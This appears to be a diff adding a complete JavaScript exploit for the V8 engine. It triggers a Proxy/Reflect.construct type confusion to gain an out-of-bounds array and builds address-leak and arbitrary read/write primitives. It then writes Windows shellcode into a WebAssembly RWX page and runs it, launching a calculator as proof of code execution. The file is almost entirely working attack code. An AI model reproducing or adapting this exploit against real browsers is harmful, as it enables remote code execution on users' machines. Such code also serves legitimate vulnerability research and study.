| 1 | + | let a = [0.1,,,,,,,,,,,,,,,,,,,,,,, 0.1, 0.1,0.1]; |
| 2 | + | let oob_arr; |
| 3 | + | let float_arr; |
| 4 | + | let obj; |
| 5 | + | let obj_arr; |
| 6 | + | let rw_arr; |
| 7 | + | var buf = new ArrayBuffer(8); |
| 8 | + | var dataview = new DataView(buf); |
| 9 | + | |
| 10 | + | a.pop() |
| 11 | + | a.pop() |
| 12 | + | a.pop() |
| 13 | + | |
| 14 | + | |
| 15 | + | function empty() {} |
| 16 | + | |
| 17 | + | function f(nt) { |
| 18 | + | a.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.1 : 7.47707876338752028672E20); |
| 19 | + | for (var i = 0; i < 0x10000; ++i) {}; |
| 20 | + | } |
| 21 | + | |
| 22 | + | let p = new Proxy(Object, { |
| 23 | + | get: function() { |
| 24 | + | a[0] = {}; |
| 25 | + | oob_arr = [0.2, 1.2, 2.2, 3.2, 4.3]; |
| 26 | + | float_arr = [1.1, 1.2, 1.3, 1.4]; |
| 27 | + | obj = {A : 1}; |
| 28 | + | obj_arr = [obj] |
| 29 | + | |
| 30 | + | return Object.prototype; |
| 31 | + | } |
| 32 | + | }); |
| 33 | + | |
| 34 | + | function main(p) { |
| 35 | + | for (var i = 0; i < 0x10000; ++i) {}; |
| 36 | + | return f(p); |
| 37 | + | } |
| 38 | + | |
| 39 | + | |
| 40 | + | function startup(){ |
| 41 | + | for (var i = 0; i < 0x10000; ++i) { empty(); }; |
| 42 | + | main(empty); |
| 43 | + | main(empty); |
| 44 | + | main(p); |
| 45 | + | } |
| 46 | + | |
| 47 | + | startup(); |
| 48 | + | |
| 49 | + | float_arr_map = Int64.fromDouble(oob_arr[12]) |
| 50 | + | obj_arr_map = Int64.fromDouble(oob_arr[21]) |
| 51 | + | base_addr = Int64.fromDouble(oob_arr[69]) |
| 52 | + | console.log("[+] Float array's map = ", float_arr_map); |
| 53 | + | console.log("[+] Obj array's map = ", obj_arr_map); |
| 54 | + | console.log("[+] Base address = ", base_addr); |
| 55 | + | |
| 56 | + | function addrOf(obj){ |
| 57 | + | tmp = oob_arr[21]; |
| 58 | + | obj_arr[0] = obj; |
| 59 | + | oob_arr[21] = float_arr_map.asDouble(); |
| 60 | + | offset_addr = Int64.fromDouble(obj_arr[0]); |
| 61 | + | oob_arr[21] = tmp; |
| 62 | + | |
| 63 | + | addr = new Int64('0x' + base_addr.toString().slice(-8) + offset_addr.toString().slice(-8)); |
| 64 | + | return addr; |
| 65 | + | } |
| 66 | + | |
| 67 | + | function read_qword_compress(arb_addr){ |
| 68 | + | float_arr_addr = addrOf(float_arr); |
| 69 | + | |
| 70 | + | elements_pointer_addr = new Int64(parseInt(float_arr_addr) - 0x28); |
| 71 | + | |
| 72 | + | addr = new Int64(parseInt(arb_addr) - 0x8 + 1); |
| 73 | + | |
| 74 | + | tmp = oob_arr[13]; |
| 75 | + | oob_arr[13] = addr.asDouble(); |
| 76 | + | |
| 77 | + | mem_leak = Int64.fromDouble(float_arr[0]); |
| 78 | + | |
| 79 | + | oob_arr[13] = tmp; |
| 80 | + | return mem_leak; |
| 81 | + | } |
| 82 | + | |
| 83 | + | function write_qword_compress(arb_addr, value){ |
| 84 | + | float_arr_addr = addrOf(float_arr); |
| 85 | + | |
| 86 | + | elements_pointer_addr = new Int64(parseInt(float_arr_addr) - 0x28); |
| 87 | + | |
| 88 | + | addr = new Int64(parseInt(arb_addr) - 0x8); |
| 89 | + | |
| 90 | + | tmp = oob_arr[13]; |
| 91 | + | oob_arr[13] = addr.asDouble(); |
| 92 | + | |
| 93 | + | float_arr[0] = value.asDouble(); |
| 94 | + | |
| 95 | + | oob_arr[13] = tmp; |
| 96 | + | return 0; |
| 97 | + | } |
| 98 | + | |
| 99 | + | |
| 100 | + | function arb_qword_write(arb_addr, value){ |
| 101 | + | var buf_addr = addrOf(buf); |
| 102 | + | |
| 103 | + | backing_store_addr = new Int64(parseInt(buf_addr) + 0x14); |
| 104 | + | |
| 105 | + | write_qword_compress(backing_store_addr, arb_addr); |
| 106 | + | |
| 107 | + | dataview.setBigUint64(0, value, true); |
| 108 | + | } |
| 109 | + | |
| 110 | + | |
| 111 | + | |
| 112 | + | var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); |
| 113 | + | var wasm_mod = new WebAssembly.Module(wasm_code); |
| 114 | + | var wasm_instance = new WebAssembly.Instance(wasm_mod); |
| 115 | + | var f = wasm_instance.exports.main; |
| 116 | + | |
| 117 | + | |
| 118 | + | addr = new Int64(parseInt(addrOf(wasm_instance)) + 0x67) |
| 119 | + | var rwx_page_addr = read_qword_compress(addr); |
| 120 | + | |
| 121 | + | console.log("[+] RWX Wasm page addr = ", rwx_page_addr); |
| 122 | + | |
| 123 | + | function copy_shellcode(addr, shell_code) { |
| 124 | + | let buf2 = new ArrayBuffer(0x200); |
| 125 | + | let dataview2 = new DataView(buf2); |
| 126 | + | let buf2_addr = addrOf(buf2); |
| 127 | + | let backing_store_addr2 = new Int64(parseInt(buf2_addr) + 0x14 - 1); |
| 128 | + | arb_qword_write(backing_store_addr2, addr); |
| 129 | + | for (let i = 0; i < shell_code.length; i++) { |
| 130 | + | dataview2.setUint32(4*i, shell_code[i], true); |
| 131 | + | } |
| 132 | + | } |
| 133 | + | |
| 134 | + | console.log("[+] Copying the shellcode"); |
| 135 | + | |
| 136 | + | shell_code = [0xe7894955,0xe48348fc,0x00c0e8f0,0x51410000,0x51525041,0xd2314856,0x528b4865,0x528b4860,0x528b4818,0x728b4820,0xb70f4850,0x314d4a4a,0xc03148c9,0x7c613cac,0x41202c02,0x410dc9c1,0xede2c101,0x48514152,0x8b20528b,0x01483c42,0x88808bd0,0x48000000,0x6774c085,0x50d00148,0x4418488b,0x4920408b,0x56e3d001,0x41c9ff48,0x4888348b,0x314dd601,0xc03148c9,0xc9c141ac,0xc101410d,0xf175e038,0x244c034c,0xd1394508,0x4458d875,0x4924408b,0x4166d001,0x44480c8b,0x491c408b,0x8b41d001,0x01488804,0x415841d0,0x5a595e58,0x59415841,0x83485a41,0x524120ec,0x4158e0ff,0x8b485a59,0xff57e912,0x485dffff,0x000001ba,0x00000000,0x8d8d4800,0x00000101,0x8b31ba41,0xd5ff876f,0xa2b5f0bb,0xa6ba4156,0xff9dbd95,0xc48348d5,0x7c063c28,0xe0fb800a,0x47bb0575,0x6a6f7213,0x894c9000,0x63c35dfc,0x00636c61]; |
| 137 | + | copy_shellcode(rwx_page_addr, shell_code) |
| 138 | + | |
| 139 | + | console.log("[+] Popping calc"); |
| 140 | + | |
| 141 | + | f(); |